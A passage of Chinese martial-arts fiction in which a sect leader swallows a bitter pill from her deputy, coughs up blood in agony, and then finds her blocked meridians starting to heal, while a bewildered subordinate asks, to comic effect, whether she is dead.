这让人窒息的苦味让她生不如死,在喘息的当口她在内心恨声骂着,这么小的药丸让人放松警惕,入口又苦成这样,那孟客果然是脑子有病,心理也变态。 她皱眉,缓和了好久,那苦味才渐渐散去,才刚喘上来一口气,抬眼便瞧见孟客正立在一边翘首以待,向晚还没来得及疑惑,一阵钝痛忽而闷在心口,那痛楚就如同是生生挨了一掌后又接着被长剑捅了个对穿,她气息一阵不稳,生生吐出一口血来。 “阁主大人!” 伍仁苏看得惊愕,忍不住出声,一旁的孟客面不改色,递过来了一方白帕。 向晚根本无暇去接,她弓着身,一手攥紧了胸前的布料,胸中泛起滔天的痛苦,如钻心剜骨一般,一阵一阵的血腥味向上翻涌,她眼前一阵眩晕,彻底跪在了地上,牙关紧咬,收不住的血水顺着牙缝和嘴角向下滴。 伍仁苏看傻了。 方才副阁主递给阁主的那个小瓷瓶子上写的是毒没错吧,副阁主这是想毒死阁主篡位?这,现下看上去,阁主这是真的中毒了吧,这这都吐血了啊,不会一会就直接嗝屁了吧。 向晚蜷着身子停了好一会,那痛苦才慢慢开始消退,身上的衣服尽被冷汗浸透了,地上积了一小片血水,她忍痛,运功,虽说还是经脉不通,但竟真的是开始好转了,她咽下嘴里的血腥,喘了口气。 伍仁苏瞧着这阁主大人自吐过一口血后,便跪下不动了,当下忧心起来,斟酌词句,谨慎委婉地开口问道: “阁主大人?您死了没有?” 向晚:......